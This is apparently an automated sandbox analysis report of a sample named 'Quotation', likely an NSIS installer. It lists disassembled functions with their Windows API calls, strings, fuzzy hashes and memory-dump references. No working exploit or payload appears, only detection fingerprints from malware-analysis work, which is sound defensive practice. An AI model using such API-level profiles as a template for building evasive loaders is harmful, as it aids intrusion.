Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Char$Next$Directory$PrevSystemWindowslstrcatlstrcpynlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4187626192-1094107421
Opcode ID: 90908ed2b1fff3d7c45b9d6734c0443e5caff99512698a5aebad6b02f2870112
Instruction ID: e5fb9ae88836c379eadb94168964a2c41ebb3bf79b6cd8bfde1838e31315b013
Opcode Fuzzy Hash: 90908ed2b1fff3d7c45b9d6734c0443e5caff99512698a5aebad6b02f2870112
Instruction Fuzzy Hash: 0E6115716442159BDB24AB288C40A3B76A4EF99350F11853FF982F72D1EB3CC9258B5E

Function 00405D18 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,00000000,?,?), ref: 00405D4A
lstrlenW.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,00000000,?,?), ref: 00405D5C
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,00000000,?,?), ref: 00405D77
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll), ref: 00405D8F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405DB6
SendMessageW.USER32(?,0000104D,00000000,?), ref: 00405DD1
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405DDE

Part of subcall function 00405E98: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,?), ref: 0040604E

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll, xrefs: 00405D35, 00405D43, 00405D49, 00405D71, 00405D76, 00405D7E, 00405D88

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$TextWindow
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll
API String ID: 1759915248-3362446269
Opcode ID: b3a3bffc108da763a0d5830401e4444f920c759f89e848b3eba3191ccd966a9d
Instruction ID: eb00d4876afd5f62942919e2a46038e7a2417e41af97232aca8a81e0ace8ac77
Opcode Fuzzy Hash: b3a3bffc108da763a0d5830401e4444f920c759f89e848b3eba3191ccd966a9d
Instruction Fuzzy Hash: C7212672A056206BC310AF598D44E5BBBDCFF95310F04443FF988B3291C7B89D018BAA

Function 00403148 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004031B6
GetTickCount.KERNEL32 ref: 00403248
MulDiv.KERNEL32(?,00000064,?), ref: 00403278
wsprintfW.USER32 ref: 00403289

Part of subcall function 00403131: SetFilePointer.KERNELBASE(?,00000000,00000000,004035B5,?), ref: 0040313F

Strings

... %d%%, xrefs: 00403283
<Py, xrefs: 0040321B

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CountTick$FilePointerwsprintf
String ID: ... %d%%$<Py
API String ID: 999035486-2352372732
Opcode ID: de52eb9ac16236f3fca6093ce857b7e1a1bc104f410f064c541848c7e306c8f4
Instruction ID: cddf24be581f0244f3449d1f5e961e9f445dbb2a95aafc889e314ca9340d81f7
Opcode Fuzzy Hash: de52eb9ac16236f3fca6093ce857b7e1a1bc104f410f064c541848c7e306c8f4
Instruction Fuzzy Hash: FD519F702083028BD710DF29DE85B2B7BE8AB84756F14093EFC54F22D1DB38DA048B5A

Function 0040617C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
wsprintfW.USER32 ref: 004061CF
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

%s%S.dll, xrefs: 004061C9
\, xrefs: 004061A4
UXTHEME, xrefs: 0040618B

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction ID: a4cd9840ceca3203298f5f6208b2692cfaa140b5cc7ad0efff7adaa08ca45ff7
Opcode Fuzzy Hash: a55e054656ac5113de9e3194c4fa3b920efe4ffbe4a90e414e158052a1d2e5cc
Instruction Fuzzy Hash: CEF0BB7190161457D710B764DE0DB9A367CEB10304F54447A6646F62C1EB7C9A54C79C

Function 00406A34 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406A50
GetTempFileNameW.KERNELBASE(?,0073006E,00000000,?,?,?,00000000,00403CB2,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406A6B

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406A3D
n, xrefs: 00406A42
C:\Users\user\AppData\Local\Temp\, xrefs: 00406A39
a, xrefs: 00406A49

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.$a$n
API String ID: 1716503409-1137806429
Opcode ID: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction ID: 42be8ac81fa96e2418e52fe12c64c606f0e7da939330081f96b146de974569e0
Opcode Fuzzy Hash: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction Fuzzy Hash: EDF05E72700208BBEB149F85DD09BEF7769EF91B10F15807BE945BA180E6B05E9487A4

Function 004068C4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EE,0000000B), ref: 004068D2
GetProcAddress.KERNEL32(00000000), ref: 004068EE

Part of subcall function 0040617C: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406193
Part of subcall function 0040617C: wsprintfW.USER32 ref: 004061CF
Part of subcall function 0040617C: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E3

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004068C5
UXTHEME, xrefs: 004068C4, 004068D1, 004068DC

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: Error writing temporary file. Make sure your temp folder is valid.$UXTHEME
API String ID: 2547128583-890815371
Opcode ID: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction ID: cca553acf36b1fe6902a80dcde2ed56f94a70d609a724c5234c7087bacb34bc4
Opcode Fuzzy Hash: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction Fuzzy Hash: FDD02B331022159BC7002F22AE0894F776DEF66350701403BF541F2230EB38C82295FD

Function 00405E1C Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 00405E5D
GetLastError.KERNEL32 ref: 00405E67
SetFileSecurityW.ADVAPI32(?,80000007,?), ref: 00405E80
GetLastError.KERNEL32 ref: 00405E8E

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction ID: c5276d81fc3706eb17032c67a8bd40c2bbffd7631990a047acf891ba11bc5777
Opcode Fuzzy Hash: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction Fuzzy Hash: 39011A74D00609DFDB109FA0DA44BAE7BB4EB04315F10443AD949F6190D77886488F99

Function 00406955 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,?,Call,00000000,00000000,00000002,00405F9C), ref: 0040699C
RegCloseKey.KERNELBASE(?), ref: 004069A7

Strings

Call, xrefs: 0040695A

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 76b6ba2905dba72e0879de14cdf3f2fb9278ac09f103d2f047db2673b29e615b
Instruction ID: 1ae9e56a03760404e91669882a34a602e62d6bc2f034f3a498143100352ea1f7
Opcode Fuzzy Hash: 76b6ba2905dba72e0879de14cdf3f2fb9278ac09f103d2f047db2673b29e615b
Instruction Fuzzy Hash: F6015EB652010AABDF218FA4DD06EEF7BA8EF44354F110136F905E2260E334DA64DB94

Function 00405DFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,00000000,C:\Users\user\AppData\Local\Temp\,00403CA7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00405E04
GetLastError.KERNEL32 ref: 00405E0E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DFC

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1375471231-823278215
Opcode ID: 0648b17569fc2713f910b90d2ba9bcc6c5026819f2e8f4ff2f6a8f9bab12dfc5
Instruction ID: 1d45a01f7acee8fa23fe776dff3dd1d011af88d7d8ca29917c3c3e776444c4f1
Opcode Fuzzy Hash: 0648b17569fc2713f910b90d2ba9bcc6c5026819f2e8f4ff2f6a8f9bab12dfc5
Instruction Fuzzy Hash: 74C012326000309BC7602B65AE08A87BE94EB506A13068239B988E2220DA308C54CAE8

Function 733F167A Relevance: 4.6, APIs: 3, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 733F2351: GlobalFree.KERNEL32(?), ref: 733F2A44
Part of subcall function 733F2351: GlobalFree.KERNEL32(?), ref: 733F2A4A
Part of subcall function 733F2351: GlobalFree.KERNEL32(?), ref: 733F2A50

GlobalFree.KERNEL32(00000000), ref: 733F1738
FreeLibrary.KERNEL32(?), ref: 733F17C3
GlobalFree.KERNEL32(00000000), ref: 733F17E9

Part of subcall function 733F1FCB: GlobalAlloc.KERNEL32(00000040,?), ref: 733F1FFA

Part of subcall function 733F17F7: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,733F1708,00000000), ref: 733F189A

Part of subcall function 733F1F1E: wsprintfW.USER32 ref: 733F1F51

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-0
Opcode ID: 71eaa77f52fe1da1bd572221c488ecb26a4f42cf77df67aeeda1f4f2a146696f
Instruction ID: 7f21ce5427bc81f0fe064b0c42b733affe4e854b4bbd5480e2b27467abf35c49
Opcode Fuzzy Hash: 71eaa77f52fe1da1bd572221c488ecb26a4f42cf77df67aeeda1f4f2a146696f
Instruction Fuzzy Hash: FB41C076C0038FEFE7759E25EC44F9A37BCBB00311F94411AF84E9A191DB78A649C650

Function 00401399 Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
SendMessageW.USER32(?,00000402,00000000), ref: 00401409

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 21554dfdf2296733f6a7aae3810b83fc303a9337ac7eb4ef6af54ee552a22d80
Instruction ID: 15b31486c92c371a01b824ec8c308dd00c5fb3f6de234e3455dc008c55755f60
Opcode Fuzzy Hash: 21554dfdf2296733f6a7aae3810b83fc303a9337ac7eb4ef6af54ee552a22d80
Instruction Fuzzy Hash: 2A01D472E542309BD7196F28AC09B2A2699A7C1711F15893EF901F72F1E6B89D01879C

Function 00406616 Relevance: 3.0, APIs: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406AF8: lstrcpynW.KERNEL32(?,?,00000400,0040384F,007A7540,NSIS Error), ref: 00406B05

Part of subcall function 00406BA3: CharNextW.USER32(?,?,?,00000000,007A4288,0040662D,007A4288,007A4288,?,?,?,00406719,?,00000000,75923420,?), ref: 00406BB2
Part of subcall function 00406BA3: CharNextW.USER32(00000000), ref: 00406BB7
Part of subcall function 00406BA3: CharNextW.USER32(00000000), ref: 00406BD1

